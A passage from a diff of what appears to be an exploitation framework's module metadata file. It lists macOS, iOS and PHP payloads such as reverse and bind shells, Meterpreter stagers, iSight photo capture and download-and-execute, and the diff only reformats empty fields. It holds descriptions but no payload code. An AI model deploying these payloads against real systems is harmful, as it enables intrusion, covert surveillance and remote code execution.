arbitrary command", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, @@ -247970,8 +220524,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247980,9 +220533,7 @@ "payload_osx/aarch64/meterpreter/reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Stager", "fullname": "payload/osx/aarch64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248010,8 +220561,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248022,9 +220572,7 @@ "payload_osx/aarch64/meterpreter_reverse_http": { "name": "OSX Meterpreter, Reverse HTTP Inline", "fullname": "payload/osx/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248035,9 +220583,7 @@ "usiegl00" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, @@ -248051,8 +220597,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248061,9 +220606,7 @@ "payload_osx/aarch64/meterpreter_reverse_https": { "name": "OSX Meterpreter, Reverse HTTPS Inline", "fullname": "payload/osx/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248074,9 +220617,7 @@ "usiegl00" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, @@ -248090,8 +220631,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248100,9 +220640,7 @@ "payload_osx/aarch64/meterpreter_reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Inline", "fullname": "payload/osx/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248113,9 +220651,7 @@ "usiegl00" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, @@ -248129,8 +220665,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248139,9 +220674,7 @@ "payload_osx/aarch64/shell_bind_tcp": { "name": "OS X x64 Shell Bind TCP", "fullname": "payload/osx/aarch64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248149,9 +220682,7 @@ "alanfoster" ], "description": "Bind an arbitrary command to an arbitrary port", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, @@ -248165,8 +220696,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248175,9 +220705,7 @@ "payload_osx/aarch64/shell_reverse_tcp": { "name": "OSX aarch64 Shell Reverse TCP", "fullname": "payload/osx/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248185,9 +220713,7 @@ "alanfoster" ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, @@ -248201,8 +220727,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248211,9 +220736,7 @@ "payload_osx/armle/execute/bind_tcp": { "name": "OS X Write and Execute Binary, Bind TCP Stager", "fullname": "payload/osx/armle/execute/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248221,9 +220744,7 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, @@ -248237,8 +220758,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248249,9 +220769,7 @@ "payload_osx/armle/execute/reverse_tcp": { "name": "OS X Write and Execute Binary, Reverse TCP Stager", "fullname": "payload/osx/armle/execute/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248259,9 +220777,7 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, @@ -248275,8 +220791,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248287,9 +220802,7 @@ "payload_osx/armle/shell/bind_tcp": { "name": "OS X Command Shell, Bind TCP Stager", "fullname": "payload/osx/armle/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248297,9 +220810,7 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, @@ -248313,8 +220824,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248325,9 +220835,7 @@ "payload_osx/armle/shell/reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Stager", "fullname": "payload/osx/armle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248335,9 +220843,7 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, @@ -248351,8 +220857,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248363,9 +220868,7 @@ "payload_osx/armle/shell_bind_tcp": { "name": "Apple iOS Command Shell, Bind TCP Inline", "fullname": "payload/osx/armle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248373,9 +220876,7 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, @@ -248389,8 +220890,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248399,9 +220899,7 @@ "payload_osx/armle/shell_reverse_tcp": { "name": "Apple iOS Command Shell, Reverse TCP Inline", "fullname": "payload/osx/armle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248409,9 +220907,7 @@ "hdm " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, @@ -248425,8 +220921,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248435,9 +220930,7 @@ "payload_osx/armle/vibrate": { "name": "Apple iOS iPhone Vibrate", "fullname": "payload/osx/armle/vibrate", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248445,9 +220938,7 @@ "hdm " ], "description": "Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded.\n Based on work by Charlie Miller .", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, @@ -248461,8 +220952,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248471,9 +220961,7 @@ "payload_osx/ppc/shell/bind_tcp": { "name": "OS X Command Shell, Bind TCP Stager", "fullname": "payload/osx/ppc/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248481,9 +220969,7 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "ppc", "rport": null, @@ -248497,8 +220983,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248509,9 +220994,7 @@ "payload_osx/ppc/shell/find_tag": { "name": "OS X Command Shell, Find Tag Stager", "fullname": "payload/osx/ppc/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248519,9 +221002,7 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "ppc", "rport": null, @@ -248535,8 +221016,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248547,9 +221027,7 @@ "payload_osx/ppc/shell/reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Stager", "fullname": "payload/osx/ppc/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248557,9 +221035,7 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "ppc", "rport": null, @@ -248573,8 +221049,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248585,9 +221060,7 @@ "payload_osx/ppc/shell_bind_tcp": { "name": "OS X Command Shell, Bind TCP Inline", "fullname": "payload/osx/ppc/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248595,9 +221068,7 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "ppc", "rport": null, @@ -248611,8 +221082,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248621,9 +221091,7 @@ "payload_osx/ppc/shell_reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Inline", "fullname": "payload/osx/ppc/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248631,9 +221099,7 @@ "hdm " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "ppc", "rport": null, @@ -248647,8 +221113,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248657,9 +221122,7 @@ "payload_osx/x64/dupandexecve/bind_tcp": { "name": "OS X dup2 Command Shell, Bind TCP Stager", "fullname": "payload/osx/x64/dupandexecve/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248668,9 +221131,7 @@ "nemo " ], "description": "dup2 socket in edi, then execve.\n\nListen, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -248684,8 +221145,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248696,9 +221156,7 @@ "payload_osx/x64/dupandexecve/reverse_tcp": { "name": "OS X dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/osx/x64/dupandexecve/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248707,9 +221165,7 @@ "nemo " ], "description": "dup2 socket in edi, then execve.\n\nConnect, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -248723,8 +221179,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248735,9 +221190,7 @@ "payload_osx/x64/dupandexecve/reverse_tcp_uuid": { "name": "OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)", "fullname": "payload/osx/x64/dupandexecve/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248746,9 +221199,7 @@ "timwr" ], "description": "dup2 socket in edi, then execve.\n\nConnect back to the attacker with UUID Support (OSX x64)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -248762,8 +221213,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248774,9 +221224,7 @@ "payload_osx/x64/exec": { "name": "OS X x64 Execute Command", "fullname": "payload/osx/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248785,9 +221233,7 @@ "joev " ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -248801,8 +221247,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248811,9 +221256,7 @@ "payload_osx/x64/meterpreter/bind_tcp": { "name": "OSX Meterpreter, Bind TCP Stager", "fullname": "payload/osx/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248841,8 +221284,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248853,9 +221295,7 @@ "payload_osx/x64/meterpreter/reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Stager", "fullname": "payload/osx/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248883,8 +221323,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248895,9 +221334,7 @@ "payload_osx/x64/meterpreter/reverse_tcp_uuid": { "name": "OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)", "fullname": "payload/osx/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248924,8 +221361,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248936,9 +221372,7 @@ "payload_osx/x64/meterpreter_reverse_http": { "name": "OSX Meterpreter, Reverse HTTP Inline", "fullname": "payload/osx/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248948,9 +221382,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -248964,8 +221396,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248974,9 +221405,7 @@ "payload_osx/x64/meterpreter_reverse_https": { "name": "OSX Meterpreter, Reverse HTTPS Inline", "fullname": "payload/osx/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248986,9 +221415,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -249002,8 +221429,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249012,9 +221438,7 @@ "payload_osx/x64/meterpreter_reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Inline", "fullname": "payload/osx/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249024,9 +221448,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -249040,8 +221462,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249050,9 +221471,7 @@ "payload_osx/x64/say": { "name": "OS X x64 say Shellcode", "fullname": "payload/osx/x64/say", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249060,9 +221479,7 @@ "nemo " ], "description": "Say an arbitrary string outloud using Mac OS X text2speech", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -249076,8 +221493,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249086,9 +221502,7 @@ "payload_osx/x64/shell_bind_tcp": { "name": "OS X x64 Shell Bind TCP", "fullname": "payload/osx/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249096,9 +221510,7 @@ "nemo " ], "description": "Bind an arbitrary command to an arbitrary port", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -249112,8 +221524,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249122,9 +221533,7 @@ "payload_osx/x64/shell_find_tag": { "name": "OSX Command Shell, Find Tag Inline", "fullname": "payload/osx/x64/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249132,9 +221541,7 @@ "nemo " ], "description": "Spawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -249148,8 +221555,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249158,9 +221564,7 @@ "payload_osx/x64/shell_reverse_tcp": { "name": "OS X x64 Shell Reverse TCP", "fullname": "payload/osx/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249168,9 +221572,7 @@ "nemo " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -249184,8 +221586,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249194,9 +221595,7 @@ "payload_osx/x86/bundleinject/bind_tcp": { "name": "Mac OS X Inject Mach-O Bundle, Bind TCP Stager", "fullname": "payload/osx/x86/bundleinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249204,9 +221603,7 @@ "ddz " ], "description": "Inject a custom Mach-O bundle into the exploited process.\n\nListen, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249220,8 +221617,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249232,9 +221628,7 @@ "payload_osx/x86/bundleinject/reverse_tcp": { "name": "Mac OS X Inject Mach-O Bundle, Reverse TCP Stager", "fullname": "payload/osx/x86/bundleinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249242,9 +221636,7 @@ "ddz " ], "description": "Inject a custom Mach-O bundle into the exploited process.\n\nConnect, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249258,8 +221650,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249270,9 +221661,7 @@ "payload_osx/x86/exec": { "name": "OS X Execute Command", "fullname": "payload/osx/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249282,9 +221671,7 @@ "joev " ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249298,8 +221685,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249308,9 +221694,7 @@ "payload_osx/x86/isight/bind_tcp": { "name": "Mac OS X x86 iSight Photo Capture, Bind TCP Stager", "fullname": "payload/osx/x86/isight/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249318,9 +221702,7 @@ "ddz " ], "description": "Inject a Mach-O bundle to capture a photo from the iSight (staged).\n\nListen, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249334,8 +221716,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249346,9 +221727,7 @@ "payload_osx/x86/isight/reverse_tcp": { "name": "Mac OS X x86 iSight Photo Capture, Reverse TCP Stager", "fullname": "payload/osx/x86/isight/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249356,9 +221735,7 @@ "ddz " ], "description": "Inject a Mach-O bundle to capture a photo from the iSight (staged).\n\nConnect, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249372,8 +221749,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249384,9 +221760,7 @@ "payload_osx/x86/shell_bind_tcp": { "name": "OS X Command Shell, Bind TCP Inline", "fullname": "payload/osx/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249394,9 +221768,7 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249410,8 +221782,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249420,9 +221791,7 @@ "payload_osx/x86/shell_find_port": { "name": "OS X Command Shell, Find Port Inline", "fullname": "payload/osx/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249430,9 +221799,7 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249446,8 +221813,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249456,9 +221822,7 @@ "payload_osx/x86/shell_reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Inline", "fullname": "payload/osx/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249466,9 +221830,7 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249482,8 +221844,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249492,9 +221853,7 @@ "payload_osx/x86/vforkshell/bind_tcp": { "name": "OS X (vfork) Command Shell, Bind TCP Stager", "fullname": "payload/osx/x86/vforkshell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249502,9 +221861,7 @@ "ddz " ], "description": "Call vfork() if necessary and spawn a command shell (staged).\n\nListen, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249518,8 +221875,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249530,9 +221886,7 @@ "payload_osx/x86/vforkshell/reverse_tcp": { "name": "OS X (vfork) Command Shell, Reverse TCP Stager", "fullname": "payload/osx/x86/vforkshell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249540,9 +221894,7 @@ "ddz " ], "description": "Call vfork() if necessary and spawn a command shell (staged).\n\nConnect, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249556,8 +221908,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249568,9 +221919,7 @@ "payload_osx/x86/vforkshell_bind_tcp": { "name": "OS X (vfork) Command Shell, Bind TCP Inline", "fullname": "payload/osx/x86/vforkshell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249578,9 +221927,7 @@ "ddz " ], "description": "Listen for a connection, vfork if necessary, and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249594,8 +221941,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249604,9 +221950,7 @@ "payload_osx/x86/vforkshell_reverse_tcp": { "name": "OS X (vfork) Command Shell, Reverse TCP Inline", "fullname": "payload/osx/x86/vforkshell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249614,9 +221958,7 @@ "ddz " ], "description": "Connect back to attacker, vfork if necessary, and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, @@ -249630,8 +221972,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249640,9 +221981,7 @@ "payload_php/bind_perl": { "name": "PHP Command Shell, Bind TCP (via Perl)", "fullname": "payload/php/bind_perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249651,9 +221990,7 @@ "cazz " ], "description": "Listen for a connection and spawn a command shell via perl (persistent)", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -249667,8 +222004,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249677,9 +222013,7 @@ "payload_php/bind_perl_ipv6": { "name": "PHP Command Shell, Bind TCP (via perl) IPv6", "fullname": "payload/php/bind_perl_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249688,9 +222022,7 @@ "cazz " ], "description": "Listen for a connection and spawn a command shell via perl (persistent) over IPv6", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -249704,8 +222036,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249714,9 +222045,7 @@ "payload_php/bind_php": { "name": "PHP Command Shell, Bind TCP (via PHP)", "fullname": "payload/php/bind_php", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249725,9 +222054,7 @@ "diaul " ], "description": "Listen for a connection and spawn a command shell via php", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -249741,8 +222068,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249751,9 +222077,7 @@ "payload_php/bind_php_ipv6": { "name": "PHP Command Shell, Bind TCP (via php) IPv6", "fullname": "payload/php/bind_php_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249762,9 +222086,7 @@ "diaul " ], "description": "Listen for a connection and spawn a command shell via php (IPv6)", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -249778,8 +222100,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249788,9 +222109,7 @@ "payload_php/download_exec": { "name": "PHP Executable Download and Execute", "fullname": "payload/php/download_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249798,9 +222117,7 @@ "egypt " ], "description": "Download an EXE from an HTTP URL and execute it", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, @@ -249814,8 +222131,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + 